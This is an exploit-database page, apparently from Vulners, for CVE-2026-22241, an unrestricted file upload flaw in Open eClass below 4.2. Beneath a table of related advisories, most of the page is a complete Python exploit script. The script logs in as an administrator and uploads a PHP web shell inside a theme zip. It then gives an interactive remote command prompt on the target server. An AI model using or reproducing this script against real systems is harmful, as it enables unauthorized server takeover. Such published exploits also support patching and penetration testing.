| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-22241 | 8 Jan 202616:03 | – | circl | |
| Open eClass 安全漏洞 | 8 Jan 202600:00 | – | cnnvd | |
| CVE-2026-22241 | 8 Jan 202615:07 | – | cve | |
| CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE) | 8 Jan 202615:07 | – | cvelist | |
| EUVD-2026-1672 | 8 Jan 202615:07 | – | euvd | |
| CVE-2026-22241 | 8 Jan 202615:15 | – | nvd | |
| CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE) | 8 Jan 202615:07 | – | osv | |
| 📄 GUnet OpenEclass E-learning Remote Code Execution | 5 May 202600:00 | – | packetstorm | |
| PT-2026-2178 | 8 Jan 202600:00 | – | ptsecurity | |
| CVE-2026-22241 | 10 Jan 202605:40 | – | redhatcve |
# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)
# Date: 2026-01-08
# Exploit Author: Ashif Iqubal
# Vendor Homepage: https://www.openeclass.org/
# Software Link: https://download.openeclass.org/files/4.1/
# Version: < 4.2
# Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)
# CVE: CVE-2026-22241
import os
import sys
import zipfile
import requests
import argparse
from bs4 import BeautifulSoup
from argparse import RawTextHelpFormatter
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RESET = '\033[0m'
ORANGE = '\033[38;5;208m'
MALICIOUS_PAYLOAD = """\
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
"""
def banner():
print(f'''{YELLOW}
┏━╸╻ ╻┏━╸ ┏━┓┏━┓┏━┓┏━┓ ┏━┓┏━┓┏━┓╻ ╻╺┓
┃ ┃┏┛┣╸ ╺━╸┏━┛┃┃┃┏━┛┣━┓╺━╸┏━┛┏━┛┏━┛┗━┫ ┃
┗━╸┗┛ ┗━╸ ┗━╸┗━┛┗━╸┗━┛ ┗━╸┗━╸┗━╸ ╹╺┻╸
{RED} Author: @Ashif1337 {RESET}''')
def clean_server(openeclass,filename):
print(f"{ORANGE}[+] Removing Backd00r...{RESET}")
# Remove the uploaded files
requests.get(f"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}")
print(f"{GREEN}[+] Server cleaned successfully!{RESET}")
def execute_command(openeclass, filename):
while True:
# Prompt for user input with "eclass"
cmd = input(f"{RED}[{YELLOW}eClass{RED}]~> {RESET}")
# Check if the command is 'quit', then break the loop
if cmd.lower() == "quit":
clean_server(openeclass,filename)
print(f"{ORANGE}[+] Exiting...{RESET}")
sys.exit()
# Construct the URL with the user-provided command
url = f"{openeclass}/courses/theme_data/{filename}?cmd={cmd}"
# Execute the GET request
try:
response = requests.get(url)
# Check if the request was successful
if response.status_code == 200:
# Print the response text
print(f"{GREEN}{response.text}{RESET}")
except requests.exceptions.RequestException as e:
# Print any error that occurs during the request
print(f"{RED}An error occurred: {e}{RESET}")
def upload_web_shell(openeclass, username, password):
login_url = f'{openeclass}/?login_page=1'
login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'
# Login credentials
payload = {
'next': '/main/portfolio.php',
'uname': f'{username}',
'pass': f'{password}',
'submit': 'Enter'
}
headers = {
'Referer': login_page_url,
}
# Use a session to ensure cookies are handled correctly
with requests.Session() as session:
# (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
session.get(login_page_url)
# Post the login credentials
response = session.post(login_url, headers=headers, data=payload)
# Create a zip file containing the malicious payload
zip_file_path = 'poc.zip'
with zipfile.ZipFile(zip_file_path, 'w') as zipf:
zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())
# Get token
token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False)
if token_url.status_code != 200 :
print(f"{RED}[X] Invalid Administrator Password!{RESET}")
print(f"{RED}[X] Exiting...{RESET}")
return False
upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name="token"]')['value']
# Upload the zip file
url = f'{openeclass}/modules/admin/theme_options.php'
files = {
'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'),
'import': (None, ''),
'token': (None, upload_token)
}
response = session.post(url, files=files)
# Clean up the poc zip file
os.remove(zip_file_path)
# Check if the upload was successful
if response.status_code == 200:
print(f"{GREEN}[+] Payload uploaded successfully!{RESET}")
print(f"{GREEN}[+] Type 'quit' to exit web shell!{RESET}")
return True
else:
print(f"{RED}[X] Failed to upload payload.{RESET}")
print(f"{RED}[X] Exiting...{RESET}")
return False
def main():
parser = argparse.ArgumentParser(description="Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword",formatter_class=RawTextHelpFormatter)
parser.add_argument('-t', '--eclassUrl', required=True, help="Target URL of the Open eClass.")
parser.add_argument('-u', '--username', required=True, help="Admin Username for login.")
parser.add_argument('-p', '--password', required=True, help="Admin Password for login.")
args = parser.parse_args()
banner()
# Running the main login and execute command function
if upload_web_shell(args.eclassUrl, args.username, args.password):
execute_command(args.eclassUrl, 'evil.php')
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation